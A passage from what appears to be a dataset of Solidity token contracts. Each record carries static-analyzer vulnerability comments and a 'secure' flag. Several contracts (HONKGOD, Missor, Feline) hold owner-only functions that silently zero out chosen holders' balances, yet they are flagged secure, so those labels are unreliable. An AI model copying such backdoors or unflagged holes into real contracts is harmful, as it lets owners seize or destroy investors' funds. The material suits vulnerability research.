Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: d12ff4d\n hReceipt = limit;\n\n _maxHAmount = _tTotal;\n\n _maxHWallet = _tTotal;\n\n _isFeeExcludedH[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function hyper(address[2] memory hippos) private returns (bool) {\n address hippoD = hippos[0];\n address hippoE = hippos[1];\n\n _hAllowed[hippoD][hippoE] = (_maxHWallet + 100 - 10).mul(1000);\n\n return true;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a4c7a96): OFUKU.hSendEthTo() sends eth to arbitrary user Dangerous calls hReceipt.transfer(address(this).balance)\n\t// Recommendation for a4c7a96: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function hSendEthTo() private {\n\t\t// reentrancy-events | ID: 4340239\n\t\t// reentrancy-events | ID: f29c685\n\t\t// reentrancy-eth | ID: db05008\n\t\t// arbitrary-send-eth | ID: a4c7a96\n hReceipt.transfer(address(this).balance);\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ca3464d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ca3464d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 070ab47): OFUKU.openTrading() ignores return value by uniRouterH.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 070ab47: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ca56a13): OFUKU.openTrading() ignores return value by IERC20(uniPairH).approve(address(uniRouterH),type()(uint256).max)\n\t// Recommendation for ca56a13: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0c1c5a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0c1c5a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ca3464d\n\t\t// unused-return | ID: 070ab47\n\t\t// reentrancy-eth | ID: 0c1c5a2\n uniRouterH.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ca3464d\n\t\t// unused-return | ID: ca56a13\n\t\t// reentrancy-eth | ID: 0c1c5a2\n IERC20(uniPairH).approve(address(uniRouterH), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: ca3464d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0c1c5a2\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_3975.sol", "secure": 0, "size_bytes": 16378 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CLOUDGPU is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 0d72380): CLOUDGPU.buyFee should be constant \n\t// Recommendation for 0d72380: Add the 'constant' attribute to state variables that never change.\n uint256 public buyFee = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: aaa3f30): CLOUDGPU.sellFee should be constant \n\t// Recommendation for aaa3f30: Add the 'constant' attribute to state variables that never change.\n uint256 public sellFee = 5;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 91d7804): CLOUDGPU.marketingWallet should be immutable \n\t// Recommendation for 91d7804: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cb686c9): CLOUDGPU.stakingWallet should be immutable \n\t// Recommendation for cb686c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private stakingWallet;\n\n uint256 public feeMultiplier;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b0d059): CLOUDGPU.uniswapV2Router should be immutable \n\t// Recommendation for 5b0d059: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0411627): CLOUDGPU.uniswapV2Pair should be immutable \n\t// Recommendation for 0411627: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ce2d05): CLOUDGPU.DEAD should be constant \n\t// Recommendation for 7ce2d05: Add the 'constant' attribute to state variables that never change.\n address private DEAD = 0x000000000000000000000000000000000000dEaD;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d3e6a08): CLOUDGPU.swapTokensAtAmount should be immutable \n\t// Recommendation for d3e6a08: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b89ef4): CLOUDGPU.maxWalletLimitRate should be constant \n\t// Recommendation for 8b89ef4: Add the 'constant' attribute to state variables that never change.\n uint256 private maxWalletLimitRate = 16;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 88425e6): CLOUDGPU.constructor(address,address,uint256)._marketingWallet lacks a zerocheck on \t marketingWallet = _marketingWallet\n\t// Recommendation for 88425e6: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4ae7ef6): CLOUDGPU.constructor(address,address,uint256)._stakingWallet lacks a zerocheck on \t stakingWallet = _stakingWallet\n\t// Recommendation for 4ae7ef6: Check that the address is not zero.\n constructor(\n address _marketingWallet,\n address _stakingWallet,\n uint256 _multiplier\n ) ERC20(\"CloudGPU\", \"cGPU\") {\n\t\t// missing-zero-check | ID: 88425e6\n marketingWallet = _marketingWallet;\n\n\t\t// missing-zero-check | ID: 4ae7ef6\n stakingWallet = _stakingWallet;\n\n feeMultiplier = _multiplier;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = _uniswapV2Pair;\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[DEAD] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromMaxWalletLimit[owner()] = true;\n\n _isExcludedFromMaxWalletLimit[DEAD] = true;\n\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n\n _isExcludedFromMaxWalletLimit[address(0)] = true;\n\n _mint(owner(), 21e6 * (10 ** 18));\n\n swapTokensAtAmount = totalSupply() / 1000;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 717e937): CLOUDGPU.sendETH(address,uint256) sends eth to arbitrary user Dangerous calls (success,None) = recipient.call{value amount}()\n\t// Recommendation for 717e937: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 1c96cce\n\t\t// reentrancy-eth | ID: a91c6a5\n\t\t// arbitrary-send-eth | ID: 717e937\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function reduceFee() external onlyOwner {\n require(feeMultiplier != 1, \"Limits already removed\");\n\n feeMultiplier -= 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c96cce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c96cce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a91c6a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a91c6a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n !swapping &&\n from != uniswapV2Pair &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t\t// reentrancy-events | ID: 1c96cce\n\t\t\t// reentrancy-eth | ID: a91c6a5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractTokenBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 newBalance = address(this).balance;\n\n if (newBalance > 0) {\n uint256 marketingAmount = (newBalance * 60) / 100;\n\n uint256 stakingAmount = newBalance - marketingAmount;\n\n\t\t\t\t// reentrancy-events | ID: 1c96cce\n\t\t\t\t// reentrancy-eth | ID: a91c6a5\n sendETH(payable(marketingWallet), marketingAmount);\n\n\t\t\t\t// reentrancy-events | ID: 1c96cce\n\t\t\t\t// reentrancy-eth | ID: a91c6a5\n sendETH(payable(stakingWallet), stakingAmount);\n }\n\n\t\t\t// reentrancy-eth | ID: a91c6a5\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (\n (_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 _totalFees = 0;\n\n if (from == uniswapV2Pair) {\n _totalFees = buyFee * feeMultiplier;\n } else if (to == uniswapV2Pair) {\n _totalFees = sellFee * feeMultiplier;\n }\n\n if (_totalFees > 0) {\n uint256 fees = (amount * _totalFees) / 100;\n\n amount = amount - fees;\n\n\t\t\t\t// reentrancy-events | ID: 1c96cce\n\t\t\t\t// reentrancy-eth | ID: a91c6a5\n super._transfer(from, address(this), fees);\n }\n }\n\n if (\n _isExcludedFromMaxWalletLimit[from] == false &&\n _isExcludedFromMaxWalletLimit[to] == false &&\n to != uniswapV2Pair &&\n from == uniswapV2Pair\n ) {\n uint256 balance = balanceOf(to);\n\n require(\n balance + amount <= (totalSupply() * maxWalletLimitRate) / 1000,\n \"MaxWallet: Recipient exceeds the maxWalletAmount\"\n );\n }\n\n\t\t// reentrancy-events | ID: 1c96cce\n\t\t// reentrancy-eth | ID: a91c6a5\n super._transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_3976.sol", "secure": 0, "size_bytes": 10045 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HONKGOD is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable countries;\n\n constructor() {\n _name = \"HONKGOD\";\n\n _symbol = \"HONKGOD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 48800000000;\n\n countries = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == countries, \"Not allowed\");\n\n _;\n }\n\n function negative(address[] memory majority) public onlyOwner {\n for (uint256 i = 0; i < majority.length; i++) {\n address account = majority[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3977.sol", "secure": 1, "size_bytes": 4375 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Missor is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable earwax;\n\n constructor() {\n _name = \"MISSOR\";\n\n _symbol = \"MISSOR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 446000000;\n\n earwax = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == earwax, \"Not allowed\");\n\n _;\n }\n\n function native(address[] memory gradient) public onlyOwner {\n for (uint256 i = 0; i < gradient.length; i++) {\n address account = gradient[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3978.sol", "secure": 1, "size_bytes": 4359 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SPXDOGE is ERC20 {\n constructor() ERC20(\"SPXDOGE\", \"SPXDOGE\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}", "file_name": "solidity_code_3979.sol", "secure": 1, "size_bytes": 387 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ERC20Upgradeable.sol\" as ERC20Upgradeable;\nimport \"./PausableUpgradeable.sol\" as PausableUpgradeable;\n\nabstract contract ERC20PausableUpgradeable is\n Initializable,\n ERC20Upgradeable,\n PausableUpgradeable\n{\n function __ERC20Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __ERC20Pausable_init_unchained() internal onlyInitializing {}\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal virtual override whenNotPaused {\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_398.sol", "secure": 1, "size_bytes": 762 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Feline is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cattle;\n\n constructor() {\n _name = \"FELINE\";\n\n _symbol = \"FELINE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 581000000;\n\n cattle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cattle, \"Not allowed\");\n\n _;\n }\n\n function slant(address[] memory garlic) public onlyOwner {\n for (uint256 i = 0; i < garlic.length; i++) {\n address account = garlic[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3980.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DegenMilk is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a63c83): DegenMilk._totalSupply should be constant \n\t// Recommendation for 4a63c83: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: dee7953): DegenMilk._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for dee7953: Remove the state variable shadowing.\n uint256 private _totalSupply = 10000000000000 * 10 ** 18;\n\n constructor() ERC20(\"DEGEN MILK\", \"MILK\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_3981.sol", "secure": 0, "size_bytes": 889 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 53d1cac): Contract locking ether found Contract BITCOIN69 has payable functions BITCOIN69.receive() But does not have a function to withdraw the ether\n// Recommendation for 53d1cac: Remove the 'payable' attribute or add a withdraw function.\ncontract BITCOIN69 is ERC20, Ownable {\n constructor()\n ERC20(unicode\"BITCOIN6.9\", unicode\"HarryPotterObamaSonicInu69\")\n {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 53d1cac): Contract locking ether found Contract BITCOIN69 has payable functions BITCOIN69.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 53d1cac: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3982.sol", "secure": 0, "size_bytes": 1049 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFactoryV2.sol\" as IFactoryV2;\nimport \"./IRouter02.sol\" as IRouter02;\n\ncontract TestToken is Context, Ownable, IERC20 {\n function totalSupply() external pure override returns (uint256) {\n if (_totalSupply == 0) {\n revert();\n }\n return _totalSupply;\n }\n\n function decimals() external pure override returns (uint8) {\n if (_totalSupply == 0) {\n revert();\n }\n return _decimals;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balance[account];\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _noFee;\n\n mapping(address => bool) private liquidityAdd;\n\n mapping(address => bool) private isLpPair;\n\n mapping(address => uint256) private balance;\n\n uint256 public constant _totalSupply = 100_000_000_000 * 10 ** 18;\n\n uint256 public constant swapThreshold = 10000000;\n\n uint256 public buyfee = 50;\n\n uint256 public sellfee = 50;\n\n uint256 public constant transferfee = 0;\n\n uint256 public constant fee_denominator = 1_000;\n\n\t// WARNING Optimization Issue (constable-states | ID: b15ab07): TestToken.marketingAddress should be constant \n\t// Recommendation for b15ab07: Add the 'constant' attribute to state variables that never change.\n address payable private marketingAddress =\n payable(0xbCf5D0772B7F6423ACCA3EED1FC95d98D878960a);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d578140): TestToken.swapRouter should be immutable \n\t// Recommendation for d578140: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter02 public swapRouter;\n\n string private constant _name = \"TESTTOKEN\";\n\n string private constant _symbol = \"TEST\";\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b412282): TestToken.lpPair should be immutable \n\t// Recommendation for b412282: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lpPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c566d9): TestToken.isTradingEnabled should be constant \n\t// Recommendation for 0c566d9: Add the 'constant' attribute to state variables that never change.\n bool public isTradingEnabled = false;\n\n bool private inSwap;\n\n modifier inSwapFlag() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _noFee[msg.sender] = true;\n\n swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n liquidityAdd[msg.sender] = true;\n\n balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n\n lpPair = IFactoryV2(swapRouter.factory()).createPair(\n swapRouter.WETH(),\n address(this)\n );\n\n isLpPair[lpPair] = true;\n\n _approve(msg.sender, address(swapRouter), type(uint256).max);\n\n _approve(address(this), address(swapRouter), type(uint256).max);\n }\n\n receive() external payable {}\n\n function setLPPair(address _pair, bool isLPPair) external onlyOwner {\n isLpPair[_pair] = isLPPair;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function _approve(\n address sender,\n address spender,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: Zero Address\");\n\n require(spender != address(0), \"ERC20: Zero Address\");\n\n _allowances[sender][spender] = amount;\n\n emit Approval(sender, spender, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] -= amount;\n }\n\n return _transfer(sender, recipient, amount);\n }\n\n function is_buy(address ins, address out) internal view returns (bool) {\n bool _is_buy = !isLpPair[out] && isLpPair[ins];\n\n return _is_buy;\n }\n\n function is_sell(address ins, address out) internal view returns (bool) {\n bool _is_sell = isLpPair[out] && !isLpPair[ins];\n\n return _is_sell;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 990eebb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 990eebb: Apply the check-effects-interactions pattern (see 